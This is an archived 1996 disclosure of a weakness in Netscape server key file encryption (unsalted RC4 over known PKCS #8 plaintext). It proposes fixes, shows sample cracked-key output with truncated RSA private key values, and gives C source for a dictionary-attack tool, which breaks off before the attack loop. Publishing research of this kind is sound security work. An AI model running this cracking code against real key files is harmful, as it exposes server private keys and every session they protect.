home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / breaksk.txt < prev    next >
Text File  |  1998-07-17  |  30KB  |  922 lines
  1. The Netscape server key format is very susceptible to both a dictionary attack
  2. and to keystream recovery.  It uses the PKCS #8 format for private keys, which
  3. provides a large amount of known plaintext at the start of the data, in
  4. combination with RC4 without any form of IV or other preprocessing (even though
  5. PKCS #8 recommends that PKCS #5 password-based encryption be used), which means
  6. you can recover the first 100-odd bytes of key stream with a simple XOR (the
  7. same stupid mistake Microsoft made with their .PWL files).  This means two
  8. things:
  9.  
  10. 1. It's very simple to write a program to perform a dictionary attack on the
  11.    server key (it took me about half an hour using cryptlib, and another half
  12.    hour to rip the appropriate code out of cryptlib to create a standalone
  13.    program).
  14.  
  15. 2. The recovered key stream from the encrypted server key can be used to
  16.    decrypt any other resource encrypted with the server password, *without
  17.    knowing the password*.  This is because there's enough known plaintext
  18.    (ASN.1 objects, object identifiers, and public key components) at the start
  19.    of the encrypted data to recover large quantities of key stream.
  20.  
  21. To demonstrate the problem, I have written a program which performs a
  22. dictionary attack on the server key, and if successful prints the password used
  23. to encrypt it and the server's RSA private key.  Originally I used my
  24. encryption library (http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) to do
  25. the encryption, to turn it into a standalone program I ripped the necessary
  26. parts out of the library, which means it's a bit messy and not as portable as
  27. the original was.  The code could probably be made to run about twice as fast
  28. if it's properly optimised, but I don't know if it's worth the bother and
  29. besides, it's just gone 4am I could use some sleep.
  30.  
  31. To run it, use:
  32.  
  33.   breaksk <Netscape server key file> <word list file>
  34.  
  35. Here's the output from a server key someone sent me, tested against my 100MB+
  36. word list collection (some people collect stamps, I collect word lists :-):
  37.  
  38.   The password used to encrypt this Netscape server key is 'unguessable'.
  39.  
  40.   Modulus = 00D50626580C2543378FD249994A543FBF5FF1333E70684E942EC7034E5FA [...]
  41.   Public exponent = 03
  42.   Private exponent = 008E0419900818D77A5FE18666318D7FD4EAA0CCD44AF03462C9 [...]
  43.   Prime 1 = 00FBD3FC2CE1F50B31323F2D3FA27F6708D4373CC0487DB7199A712124380 [...]
  44.   Prime 2 = 00D88D984BA6A7CD07F6608D95D3AC2682769DA904D061E593CF86A21B4A9 [...]
  45.   Exponent 1 = 00A7E2A81DEBF8B220CC2A1E2A6C54EF5B3824D32ADAFE7A1111A0C0C2 [...]
  46.   Exponent 2 = 00905E6587C46FDE054EEB090E8D1D6F01A4691B588AEBEE628A59C167 [...]
  47.   Coefficient = 2DEBC012356B96D2206346141371D999288F55DD07AEF6D1972383E97 [...]
  48.  
  49. (I've trimmed some of the lines a bit).
  50.  
  51. The problem here is caused by a combination of the PKCS #8 format (which is
  52. rather nonoptimal for protecting private keys) and the use of RC4 to encryt
  53. fixed, known plaintext.  Since everything is constant, you don't even need to
  54. run the password-transformation process more than once - just store a
  55. dictionary of the resulting key stream for each password in a database, and you
  56. can break the encryption with a single lookup (this would be avoided by the use
  57. of PKCS #5 password-based encryption, which iterates the key setup and uses a
  58. salt to make a precomputed dictionary attack impossible.  PKCS #5 states that
  59. its primary intended application is for protecting private keys, but Netscape
  60. chose not to use this and went with straight RC4 instead).
  61.  
  62. A quick (but not necessarily optimal) solution to the problem involves two
  63. changes:
  64.  
  65. 1. Only encrypt the unknown, private fields in the key (which is what PGP
  66.    does).  Instead of wrapping everything up in several layers of encapsulation
  67.    with object identifiers and public-key components, change the portion which
  68.    is encrypted to:
  69.  
  70.       EncryptedRSAPrivateKey ::= SEQUENCE {
  71.         privateExponent INTEGER,
  72.         prime1          INTEGER,
  73.         prime2          INTEGER,
  74.         exponent1       INTEGER,
  75.         exponent2       INTEGER,
  76.         coefficient     INTEGER
  77.         }
  78.  
  79.    with everything else outside this object.
  80.  
  81. 2. Don't use a simple stream cipher to encrypt fixed data like this.  Use an IV
  82.    on the encrypted data.  Iterate the password setup to slow down a dictionary
  83.    attack (I posted a scheme for transforming variable to fixed-length keys to
  84.    the cypherpunks list a few days ago which provides the necessary
  85.    functionality).
  86.  
  87. The consequences of this attack are pretty scary.  It involves vastly less
  88. effort than breaking a 40-bit session key or factoring a 512-bit public key,
  89. yet once you've recovered the private key you can also recover every session
  90. key it's ever protected in the past and will ever protect in the future (which
  91. is why I'm a fan of signed DH for session key exchange).  The ease with which a
  92. dictionary attack can be carried out represents a critical weakness which
  93. compromises all other encryption components on the server - spending a few days
  94. with a Markov-model based phrase generator on a PC is still a lot easier than
  95. spending a few months with GNFS and a workstation farm.
  96.  
  97. It seems strange that there are no real standards defined for secure storage of
  98. such a critical component as a private key.  Although a lot of work has gone
  99. into X.509 and the multitude of related public-key certificate standards, the
  100. only generally-used private-key formats are PKCS #8 (which has problems, as
  101. demonstrated above), and Microsofts recently-proposed PFX (Personal Information
  102. Exchange) data format and protocol (PFX is designed to allow users to move
  103. their keys, certificates and other personal information securely from one
  104. platform to another, you can get more info on it from
  105. http://www.microsoft.com/intdev/security/misf11_7.htm), which is too new to
  106. comment on.  It would be useful if a portable, secure private-key format at the
  107. same level as the X.509 effort were developed to solve this problem.
  108.  
  109. For the curious (and ASN.1-aware), here's what the data formats look like.
  110. First there's the outer encapsulation which Netscape use to wrap up the
  111. encrypted key:
  112.  
  113.   NetscapeServerKey ::= SEQUENCE {
  114.     identifier          OCTET STRING ('private-key'),
  115.     encryptedPrivateKeyInfo
  116.                         EncryptedPrivateKeyInfo
  117.     }
  118.  
  119. Inside this is a PKCS #8 private key:
  120.  
  121.   EncryptedPrivateKeyInfo ::= SEQUENCE {
  122.     encryptionAlgorithm EncryptionAlgorithmIdentifier,
  123.     encryptedData       EncryptedData
  124.     }
  125.  
  126.   EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier
  127.  
  128.   EncryptedData = OCTET STRING
  129.  
  130. Now the EncryptionAlgorithmIdentifier is supposed to be something like
  131. pbeWithMD5AndDES, with an associated 64-bit salt and iteration count, but
  132. Netscape ignored this and used straight rc4 with no salt or iteration count.
  133. The EncryptedData decrypts to:
  134.  
  135.   PrivateKeyInfo ::= SEQUENCE {
  136.     version             Version
  137.     privateKeyAlgorithm PrivateKeyAlgorithmIdentifier
  138.     privateKey          PrivateKey
  139.     attributes    [ 0 ] IMPLICIT Attributes OPTIONAL
  140.     }
  141.  
  142.   Version ::= INTEGER
  143.  
  144.   PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier
  145.  
  146.   PrivateKey ::= OCTET STRING
  147.  
  148.   Attributes ::= SET OF Attribute
  149.  
  150. The algorithm information is encoded as:
  151.  
  152.   AlgorithmIdentifier ::= SEQUENCE {
  153.     algorithm           ALGORITHM.&id( { SupportedAlgorithms } ),
  154.     parameters          ALGORITHM.&Type( { SupportedAlgorithms }{ @algorithm } )
  155.                             OPTIONAL
  156.     }
  157.  
  158.   SupportedAlgorithms ALGORITHM ::= { ... }
  159.  
  160.   ALGORITHM ::= TYPE-IDENTIFIER
  161.  
  162. (and so on and so on, I haven't bothered going down any further).  The
  163. EncryptionAlgorithmIdentifier is '1 2 840 113549 3 4' or { iso(1)
  164. member-body(2) US(840) rsadsi(113549) algorithm(3) rc4(4) }.  The
  165. PrivateKeyAlgorithmIdentifier is '1 2 840 113549 1 1 1' or { iso(1)
  166. member-body(2) US(840) rsadsi(113549) pkcs(1) pkcs1-1(1) rsaEncryption(1) }.
  167.  
  168. Included below is the code to perform the attack (set tabs to 4, phasers to
  169. stun).
  170.  
  171. Do I get a t-shirt for this? :-)
  172.  
  173. Peter.
  174.  
  175. -- Snip --
  176.  
  177. /* BreakSK - Break Netscape server key file encryption via dictionary attack.
  178.    Written by Peter Gutmann <pgut001@cs.auckland.ac.nz> 26 September 1996 */
  179.  
  180. #include <stdio.h>
  181. #include <stdlib.h>
  182. #include <string.h>
  183.  
  184. /* Most of the code here was ripped out of cryptlib and is somewhat messy as
  185.    a consquence.  cryptlib has fairly extensive self-configuration and an
  186.    internal API which hides machine-specific details, this program doesn't
  187.    (the code here really wasn't meant for standalone use).  As a result you
  188.    need to manually define LITTLE_ENDIAN or BIG_ENDIAN, and it won't work at
  189.    all on 64-bit systems.  If you want the portability, use cryptlib instead */
  190.  
  191. #define LITTLE_ENDIAN
  192. /* #define BIG_ENDIAN */
  193.  
  194. /* Workarounds for cryptlib defines, constants, and macros */
  195.  
  196. #define MASK32(x)    x
  197.  
  198. #define FALSE    0
  199. #define TRUE    !FALSE
  200.  
  201. typedef unsigned char BYTE;
  202. typedef unsigned long LONG;
  203. typedef int BOOLEAN;
  204.  
  205. /* Functions to convert the endianness from the canonical form to the
  206.    internal form.  bigToLittle() convert from big-endian in-memory to
  207.    little-endian in-CPU, littleToBig() convert from little-endian in-memory
  208.    to big-endian in-CPU */
  209.  
  210. void longReverse( LONG *buffer, int count );
  211.  
  212. #ifdef LITTLE_ENDIAN
  213.   #define bigToLittleLong( x, y )    longReverse(x,y)
  214.   #define littleToBigLong( x, y )
  215. #else
  216.   #define bigToLittleLong( x, y )
  217.   #define littleToBigLong( x, y )    longReverse(x,y)
  218. #endif /* LITTLE_ENDIAN */
  219.  
  220. /* Byte-reverse an array of 16- and 32-bit words to/from network byte order
  221.    to account for processor endianness.  These routines assume the given
  222.    count is a multiple of 16 or 32 bits.  They are safe even for CPU's with
  223.    a word size > 32 bits since on a little-endian CPU the important 32 bits
  224.    are stored first, so that by zeroizing the first 32 bits and oring the
  225.    reversed value back in we don't need to rely on the processor only writing
  226.    32 bits into memory */
  227.  
  228. void longReverse( LONG *buffer, int count )
  229.     {
  230. #if defined( _BIG_WORDS )
  231.     BYTE *bufPtr = ( BYTE * ) buffer, temp;
  232.  
  233.     count /= 4;        /* sizeof( LONG ) != 4 */
  234.     while( count-- )
  235.         {
  236.         /* There's really no nice way to do this - the above code generates
  237.            misaligned accesses on processors with a word size > 32 bits, so
  238.            we have to work at the byte level (either that or turn misaligned
  239.            access warnings off by trapping the signal the access corresponds
  240.            to.  However a context switch per memory access is probably
  241.            somewhat slower than the current byte-twiddling mess) */
  242.         temp = bufPtr[ 3 ];
  243.         bufPtr[ 3 ] = bufPtr[ 0 ];
  244.         bufPtr[ 0 ] = temp;
  245.         temp = bufPtr[ 2 ];
  246.         bufPtr[ 2 ] = bufPtr[ 1 ];
  247.         bufPtr[ 1 ] = temp;
  248.         bufPtr += 4;
  249.         }
  250. #else
  251.     LONG value;
  252.  
  253.     count /= sizeof( LONG );
  254.     while( count-- )
  255.         {
  256.         value = *buffer;
  257.         value = ( ( value & 0xFF00FF00UL ) >> 8  ) | \
  258.                 ( ( value & 0x00FF00FFUL ) << 8 );
  259.         *buffer++ = ( value << 16 ) | ( value >> 16 );
  260.         }
  261. #endif /* _BIG_WORDS */
  262.     }
  263.  
  264. #define mputLLong(memPtr,data)    \
  265.         memPtr[ 0 ] = ( BYTE ) ( ( data ) & 0xFF ); \
  266.         memPtr[ 1 ] = ( BYTE ) ( ( ( data ) >> 8 ) & 0xFF ); \
  267.         memPtr[ 2 ] = ( BYTE ) ( ( ( data ) >> 16 ) & 0xFF ); \
  268.         memPtr[ 3 ] = ( BYTE ) ( ( ( data ) >> 24 ) & 0xFF ); \
  269.         memPtr += 4
  270.  
  271. /****************************************************************************
  272. *                                                                            *
  273. *                                        MD5                                 *
  274. *                                                                            *
  275. ****************************************************************************/
  276.  
  277. /* The MD5 block size and message digest sizes, in bytes */
  278.  
  279. #define MD5_DATASIZE    64
  280. #define MD5_DIGESTSIZE    16
  281.  
  282. /* The structure for storing MD5 info */
  283.  
  284. typedef struct {
  285.                LONG digest[ 4 ];            /* Message digest */
  286.                LONG countLo, countHi;        /* 64-bit bit count */
  287.                LONG data[ 16 ];                /* MD5 data buffer */
  288. #ifdef _BIG_WORDS
  289.                BYTE dataBuffer[ MD5_DATASIZE ];    /* Byte buffer for data */
  290. #endif /* _BIG_WORDS */
  291.                BOOLEAN done;                /* Whether final digest present */
  292.                } MD5_INFO;
  293.  
  294. /* Round 1 shift amounts */
  295.  
  296. #define S11    7
  297. #define S12    12
  298. #define S13    17
  299. #define S14    22
  300.  
  301. /* Round 2 shift amounts */
  302.  
  303. #define S21 5
  304. #define S22 9
  305. #define S23 14
  306. #define S24 20
  307.  
  308. /* Round 3 shift amounts */
  309.  
  310. #define S31 4
  311. #define S32 11
  312. #define S33 16
  313. #define S34 23
  314.  
  315. /* Round 4 shift amounts */
  316.  
  317. #define S41 6
  318. #define S42 10
  319. #define S43 15
  320. #define S44 21
  321.  
  322. /* F, G, H and I are basic MD5 functions */
  323.  
  324. #define F(X,Y,Z)    ( ( X & Y ) | ( ~X & Z ) )
  325. #define G(X,Y,Z)    ( ( X & Z ) | ( Y & ~Z ) )
  326. #define H(X,Y,Z)    ( X ^ Y ^ Z )
  327. #define I(X,Y,Z)    ( Y ^ ( X | ~Z ) )
  328.  
  329. /* ROTATE_LEFT rotates x left n bits */
  330.  
  331. #define ROTATE_LEFT(x,n)    ( ( x << n ) | ( x >> ( 32 - n ) ) )
  332.  
  333. /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */
  334.  
  335. #define FF(A,B,C,D,X,shiftAmt,magicConst) \
  336.     A += F( B, C, D ) + X + magicConst; \
  337.     A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B )
  338.  
  339. #define GG(A,B,C,D,X,shiftAmt,magicConst) \
  340.     A += G( B, C, D ) + X + magicConst; \
  341.     A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B )
  342.  
  343. #define HH(A,B,C,D,X,shiftAmt,magicConst) \
  344.     A += H( B, C, D ) + X + magicConst; \
  345.     A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B )
  346.  
  347. #define II(A,B,C,D,X,shiftAmt,magicConst) \
  348.     A += I( B, C, D ) + X + magicConst; \
  349.     A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B )
  350.  
  351. /* Basic MD5 step. Transforms digest based on data.  Note that if the
  352.    Mysterious Constants are arranged backwards in little-endian order and
  353.    decrypted with DES they produce OCCULT MESSAGES! */
  354.  
  355. void MD5Transform( LONG *digest, LONG *data )
  356.     {
  357.     LONG A, B, C, D;
  358.  
  359.     /* Set up local data */
  360.     A = digest[ 0 ];
  361.     B = digest[ 1 ];
  362.     C = digest[ 2 ];
  363.     D = digest[ 3 ];
  364.  
  365.     /* Round 1 */
  366.     FF( A, B, C, D, data[  0 ], S11, 3614090360UL );    /*  1 */
  367.     FF( D, A, B, C, data[  1 ], S12, 3905402710UL );    /*  2 */
  368.     FF( C, D, A, B, data[  2 ], S13,  606105819UL );    /*  3 */
  369.     FF( B, C, D, A, data[  3 ], S14, 3250441966UL );    /*  4 */
  370.     FF( A, B, C, D, data[  4 ], S11, 4118548399UL );    /*  5 */
  371.     FF( D, A, B, C, data[  5 ], S12, 1200080426UL );    /*  6 */
  372.     FF( C, D, A, B, data[  6 ], S13, 2821735955UL );    /*  7 */
  373.     FF( B, C, D, A, data[  7 ], S14, 4249261313UL );    /*  8 */
  374.     FF( A, B, C, D, data[  8 ], S11, 1770035416UL );    /*  9 */
  375.     FF( D, A, B, C, data[  9 ], S12, 2336552879UL );    /* 10 */
  376.     FF( C, D, A, B, data[ 10 ], S13, 4294925233UL );    /* 11 */
  377.     FF( B, C, D, A, data[ 11 ], S14, 2304563134UL );    /* 12 */
  378.     FF( A, B, C, D, data[ 12 ], S11, 1804603682UL );    /* 13 */
  379.     FF( D, A, B, C, data[ 13 ], S12, 4254626195UL );    /* 14 */
  380.     FF( C, D, A, B, data[ 14 ], S13, 2792965006UL );    /* 15 */
  381.     FF( B, C, D, A, data[ 15 ], S14, 1236535329UL );    /* 16 */
  382.  
  383.     /* Round 2 */
  384.     GG( A, B, C, D, data[  1 ], S21, 4129170786UL );    /* 17 */
  385.     GG( D, A, B, C, data[  6 ], S22, 3225465664UL );    /* 18 */
  386.     GG( C, D, A, B, data[ 11 ], S23,  643717713UL );    /* 19 */
  387.     GG( B, C, D, A, data[  0 ], S24, 3921069994UL );    /* 20 */
  388.     GG( A, B, C, D, data[  5 ], S21, 3593408605UL );    /* 21 */
  389.     GG( D, A, B, C, data[ 10 ], S22,   38016083UL );    /* 22 */
  390.     GG( C, D, A, B, data[ 15 ], S23, 3634488961UL );    /* 23 */
  391.     GG( B, C, D, A, data[  4 ], S24, 3889429448UL );    /* 24 */
  392.     GG( A, B, C, D, data[  9 ], S21,  568446438UL );    /* 25 */
  393.     GG( D, A, B, C, data[ 14 ], S22, 3275163606UL );    /* 26 */
  394.     GG( C, D, A, B, data[  3 ], S23, 4107603335UL );    /* 27 */
  395.     GG( B, C, D, A, data[  8 ], S24, 1163531501UL );    /* 28 */
  396.     GG( A, B, C, D, data[ 13 ], S21, 2850285829UL );    /* 29 */
  397.     GG( D, A, B, C, data[  2 ], S22, 4243563512UL );    /* 30 */
  398.     GG( C, D, A, B, data[  7 ], S23, 1735328473UL );    /* 31 */
  399.     GG( B, C, D, A, data[ 12 ], S24, 2368359562UL );    /* 32 */
  400.  
  401.     /* Round 3 */
  402.     HH( A, B, C, D, data[  5 ], S31, 4294588738UL );    /* 33 */
  403.     HH( D, A, B, C, data[  8 ], S32, 2272392833UL );    /* 34 */
  404.     HH( C, D, A, B, data[ 11 ], S33, 1839030562UL );    /* 35 */
  405.     HH( B, C, D, A, data[ 14 ], S34, 4259657740UL );    /* 36 */
  406.     HH( A, B, C, D, data[  1 ], S31, 2763975236UL );    /* 37 */
  407.     HH( D, A, B, C, data[  4 ], S32, 1272893353UL );    /* 38 */
  408.     HH( C, D, A, B, data[  7 ], S33, 4139469664UL );    /* 39 */
  409.     HH( B, C, D, A, data[ 10 ], S34, 3200236656UL );    /* 40 */
  410.     HH( A, B, C, D, data[ 13 ], S31,  681279174UL );    /* 41 */
  411.     HH( D, A, B, C, data[  0 ], S32, 3936430074UL );    /* 42 */
  412.     HH( C, D, A, B, data[  3 ], S33, 3572445317UL );    /* 43 */
  413.     HH( B, C, D, A, data[  6 ], S34,   76029189UL );    /* 44 */
  414.     HH( A, B, C, D, data[  9 ], S31, 3654602809UL );    /* 45 */
  415.     HH( D, A, B, C, data[ 12 ], S32, 3873151461UL );    /* 46 */
  416.     HH( C, D, A, B, data[ 15 ], S33,  530742520UL );    /* 47 */
  417.     HH( B, C, D, A, data[  2 ], S34, 3299628645UL );    /* 48 */
  418.  
  419.     /* Round 4 */
  420.     II( A, B, C, D, data[  0 ], S41, 4096336452UL );    /* 49 */
  421.     II( D, A, B, C, data[  7 ], S42, 1126891415UL );    /* 50 */
  422.     II( C, D, A, B, data[ 14 ], S43, 2878612391UL );    /* 51 */
  423.     II( B, C, D, A, data[  5 ], S44, 4237533241UL );    /* 52 */
  424.     II( A, B, C, D, data[ 12 ], S41, 1700485571UL );    /* 53 */
  425.     II( D, A, B, C, data[  3 ], S42, 2399980690UL );    /* 54 */
  426.     II( C, D, A, B, data[ 10 ], S43, 4293915773UL );    /* 55 */
  427.     II( B, C, D, A, data[  1 ], S44, 2240044497UL );    /* 56 */
  428.     II( A, B, C, D, data[  8 ], S41, 1873313359UL );    /* 57 */
  429.     II( D, A, B, C, data[ 15 ], S42, 4264355552UL );    /* 58 */
  430.     II( C, D, A, B, data[  6 ], S43, 2734768916UL );    /* 59 */
  431.     II( B, C, D, A, data[ 13 ], S44, 1309151649UL );    /* 60 */
  432.     II( A, B, C, D, data[  4 ], S41, 4149444226UL );    /* 61 */
  433.     II( D, A, B, C, data[ 11 ], S42, 3174756917UL );    /* 62 */
  434.     II( C, D, A, B, data[  2 ], S43,  718787259UL );    /* 63 */
  435.     II( B, C, D, A, data[  9 ], S44, 3951481745UL );    /* 64 */
  436.  
  437.     /* Build message digest */
  438.     digest[ 0 ] = MASK32( digest[ 0 ] + A );
  439.     digest[ 1 ] = MASK32( digest[ 1 ] + B );
  440.     digest[ 2 ] = MASK32( digest[ 2 ] + C );
  441.     digest[ 3 ] = MASK32( digest[ 3 ] + D );
  442.     }
  443.  
  444. /****************************************************************************
  445. *                                                                            *
  446. *                            MD5 Support Routines                            *
  447. *                                                                            *
  448. ****************************************************************************/
  449.  
  450. /* The routine md5Initial initializes the message-digest context md5Info */
  451.  
  452. void md5Initial( MD5_INFO *md5Info )
  453.     {
  454.     /* Clear all fields */
  455.     memset( md5Info, 0, sizeof( MD5_INFO ) );
  456.  
  457.     /* Load magic initialization constants */
  458.     md5Info->digest[ 0 ] = 0x67452301L;
  459.     md5Info->digest[ 1 ] = 0xEFCDAB89L;
  460.     md5Info->digest[ 2 ] = 0x98BADCFEL;
  461.     md5Info->digest[ 3 ] = 0x10325476L;
  462.  
  463.     /* Initialise bit count */
  464.     md5Info->countLo = md5Info->countHi = 0L;
  465.     }
  466.  
  467. /* The routine MD5Update updates the message-digest context to account for
  468.    the presence of each of the characters buffer[ 0 .. count-1 ] in the
  469.    message whose digest is being computed */
  470.  
  471. void md5Update( MD5_INFO *md5Info, BYTE *buffer, int count )
  472.     {
  473.     LONG tmp;
  474.     int dataCount;
  475.  
  476.     /* Update bitcount */
  477.     tmp = md5Info->countLo;
  478.     if ( ( md5Info->countLo = tmp + ( ( LONG ) count << 3 ) ) < tmp )
  479.         md5Info->countHi++;                /* Carry from low to high */
  480.     md5Info->countHi += count >> 29;
  481.  
  482.     /* Get count of bytes already in data */
  483.     dataCount = ( int ) ( tmp >> 3 ) & 0x3F;
  484.  
  485.     /* Handle any leading odd-sized chunks */
  486.     if( dataCount )
  487.         {
  488. #ifdef _BIG_WORDS
  489.         BYTE *p = md5Info->dataBuffer + dataCount;
  490. #else
  491.         BYTE *p = ( BYTE * ) md5Info->data + dataCount;
  492. #endif /* _BIG_WORDS */
  493.  
  494.         dataCount = MD5_DATASIZE - dataCount;
  495.         if( count < dataCount )
  496.             {
  497.             memcpy( p, buffer, count );
  498.             return;
  499.             }
  500.         memcpy( p, buffer, dataCount );
  501. #ifdef _BIG_WORDS
  502.         copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE );
  503. #else
  504.         littleToBigLong( md5Info->data, MD5_DATASIZE );
  505. #endif /* _BIG_WORDS */
  506.         MD5Transform( md5Info->digest, md5Info->data );
  507.         buffer += dataCount;
  508.         count -= dataCount;
  509.         }
  510.  
  511.     /* Process data in MD5_DATASIZE chunks */
  512.     while( count >= MD5_DATASIZE )
  513.         {
  514. #ifdef _BIG_WORDS
  515.         memcpy( md5Info->dataBuffer, buffer, MD5_DATASIZE );
  516.         copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE );
  517. #else
  518.         memcpy( md5Info->data, buffer, MD5_DATASIZE );
  519.         littleToBigLong( md5Info->data, MD5_DATASIZE );
  520. #endif /* _BIG_WORDS */
  521.         MD5Transform( md5Info->digest, md5Info->data );
  522.         buffer += MD5_DATASIZE;
  523.         count -= MD5_DATASIZE;
  524.         }
  525.  
  526.     /* Handle any remaining bytes of data. */
  527. #ifdef _BIG_WORDS
  528.     memcpy( md5Info->dataBuffer, buffer, count );
  529. #else
  530.     memcpy( md5Info->data, buffer, count );
  531. #endif /* _BIG_WORDS */
  532.     }
  533.  
  534. /* Final wrapup - pad to MD5_DATASIZE-byte boundary with the bit pattern
  535.    1 0* (64-bit count of bits processed, MSB-first) */
  536.  
  537. void md5Final( MD5_INFO *md5Info )
  538.     {
  539.     int count;
  540.     BYTE *dataPtr;
  541.  
  542.     /* Compute number of bytes mod 64 */
  543.     count = ( int ) md5Info->countLo;
  544.     count = ( count >> 3 ) & 0x3F;
  545.  
  546.     /* Set the first char of padding to 0x80.  This is safe since there is
  547.        always at least one byte free */
  548. #ifdef _BIG_WORDS
  549.     dataPtr = md5Info->dataBuffer + count;
  550. #else
  551.     dataPtr = ( BYTE * ) md5Info->data + count;
  552. #endif /* _BIG_WORDS */
  553.     *dataPtr++ = 0x80;
  554.  
  555.     /* Bytes of padding needed to make 64 bytes */
  556.     count = MD5_DATASIZE - 1 - count;
  557.  
  558.     /* Pad out to 56 mod 64 */
  559.     if( count < 8 )
  560.         {
  561.         /* Two lots of padding:  Pad the first block to 64 bytes */
  562.         memset( dataPtr, 0, count );
  563. #ifdef _BIG_WORDS
  564.         copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE );
  565. #else
  566.         littleToBigLong( md5Info->data, MD5_DATASIZE );
  567. #endif /* _BIG_WORDS */
  568.         MD5Transform( md5Info->digest, md5Info->data );
  569.  
  570.         /* Now fill the next block with 56 bytes */
  571. #ifdef _BIG_WORDS
  572.         memset( md5Info->dataBuffer, 0, MD5_DATASIZE - 8 );
  573. #else
  574.         memset( md5Info->data, 0, MD5_DATASIZE - 8 );
  575. #endif /* _BIG_WORDS */
  576.         }
  577.     else
  578.         /* Pad block to 56 bytes */
  579.         memset( dataPtr, 0, count - 8 );
  580. #ifdef _BIG_WORDS
  581.     copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE );
  582. #endif /* _BIG_WORDS */
  583.  
  584.     /* Append length in bits and transform */
  585.     md5Info->data[ 14 ] = md5Info->countLo;
  586.     md5Info->data[ 15 ] = md5Info->countHi;
  587.  
  588. #ifndef _BIG_WORDS
  589.     littleToBigLong( md5Info->data, MD5_DATASIZE - 8 );
  590. #endif /* _BIG_WORDS */
  591.     MD5Transform( md5Info->digest, md5Info->data );
  592.  
  593.     md5Info->done = TRUE;
  594.     }
  595.  
  596. /****************************************************************************
  597. *                                                                            *
  598. *                                        RC4                                 *
  599. *                                                                            *
  600. ****************************************************************************/
  601.  
  602. /* If the system can handle byte ops, we use those so we don't have to do a
  603.    lot of masking.  Otherwise, we use machine-word-size ops which will be
  604.    faster on RISC machines */
  605.  
  606. #if UINT_MAX > 0xFFFFL        /* System has 32-bit ints */
  607.   #define USE_LONG_RC4
  608.  
  609.   typedef unsigned int rc4word;
  610. #else
  611.   typedef unsigned char rc4word;
  612. #endif /* UINT_MAX > 0xFFFFL */
  613.  
  614. /* The scheduled RC4 key */
  615.  
  616. typedef struct {
  617.     rc4word state[ 256 ];
  618.     rc4word x, y;
  619.     } RC4KEY ;
  620.  
  621. /* Expand an RC4 key */
  622.  
  623. void rc4ExpandKey( RC4KEY *rc4, unsigned char const *key, int keylen )
  624.     {
  625.     int x, keypos = 0;
  626.     rc4word sx, y = 0;
  627.     rc4word *state = &rc4->state[ 0 ];
  628.  
  629.     rc4->x = rc4->y = 0;
  630.  
  631.     for( x = 0; x < 256; x++ )
  632.         state[ x ] = x;
  633.  
  634.     for( x = 0; x < 256; x++ )
  635.         {
  636.         sx = state[ x ];
  637.         y += sx + key[ keypos ];
  638. #ifdef USE_LONG_RC4
  639.         y &= 0xFF;
  640. #endif /* USE_LONG_RC4 */
  641.         state[ x ] = state[ y ];
  642.         state[ y ] = sx;
  643.  
  644.         if( ++keypos == keylen )
  645.             keypos = 0;
  646.         }
  647.     }
  648.  
  649. void rc4Crypt( RC4KEY *rc4, unsigned char *data, int len )
  650. {
  651.     rc4word x = rc4->x, y = rc4->y;
  652.     rc4word sx, sy;
  653.     rc4word *state = &rc4->state[ 0 ];
  654.  
  655.     while (len--) {
  656.         x++;
  657. #ifdef USE_LONG_RC4
  658.         x &= 0xFF;
  659. #endif /* USE_LONG_RC4 */
  660.         sx = state[ x ];
  661.         y += sx;
  662. #ifdef USE_LONG_RC4
  663.         y &= 0xFF;
  664. #endif /* USE_LONG_RC4 */
  665.         sy = state[ y ];
  666.         state[ y ] = sx;
  667.         state[ x ] = sy;
  668.  
  669. #ifdef USE_LONG_RC4
  670.         *data++ ^= state[ ( unsigned char ) ( sx+sy ) ];
  671. #else
  672.         *data++ ^= state[ ( sx+sy ) & 0xFF ];
  673. #endif /* USE_LONG_RC4 */
  674.     }
  675.  
  676.     rc4->x = x;
  677.     rc4->y = y;
  678. }
  679.  
  680. /****************************************************************************
  681. *                                                                            *
  682. *                                    Driver Code                             *
  683. *                                                                            *
  684. ****************************************************************************/
  685.  
  686. /* Various magic values in the key file */
  687.  
  688. static BYTE netscapeKeyfileID[] = {
  689.     0x04, 0x0B, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74,
  690.     0x65, 0x2D, 0x6B, 0x65, 0x79
  691.     };
  692. static BYTE rc4EncryptionID[] = {
  693.     0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, 0x48, 0x86,
  694.     0xF7, 0x0D, 0x03, 0x04, 0x05, 0x00
  695.     };
  696. static BYTE version[] = {
  697.     0x02, 0x01, 0x00
  698.     };
  699. static BYTE rsaPrivateKeyID[] = {
  700.     0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86,
  701.     0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00
  702.     };
  703.  
  704. /* General-purpose buffer.  We make them static buffers to keep them off the
  705.    stack on DOS/Win16 boxes */
  706.  
  707. static BYTE buffer[ 1024 ], temp[ 1024 ];
  708.  
  709. /* Print a key component */
  710.  
  711. int printKeyComponent( BYTE *buffer, char *title )
  712.     {
  713.     int count, length = 0, totalLength = 2;
  714.  
  715.     printf( "%s = ", title );
  716.     if( *buffer++ != 0x02 )
  717.         {
  718.         puts( "Bad data format in key component." );
  719.         return( 0 );
  720.         }
  721.  
  722.     /* Get the length of the component */
  723.     if( *buffer & 0x80 )
  724.         {
  725.         count = *buffer++ & 0x7F;
  726.         totalLength += count;
  727.         while( count-- )
  728.             length = ( length << 8 ) | *buffer++;
  729.         }
  730.     else
  731.         length = *buffer++;
  732.     totalLength += length;
  733.  
  734.     /* Print the data */
  735.     for( count = 0; count < length; count++ )
  736.         printf( "%02X", buffer[ count ] );
  737.     putchar( '\n' );
  738.  
  739.     return( totalLength );
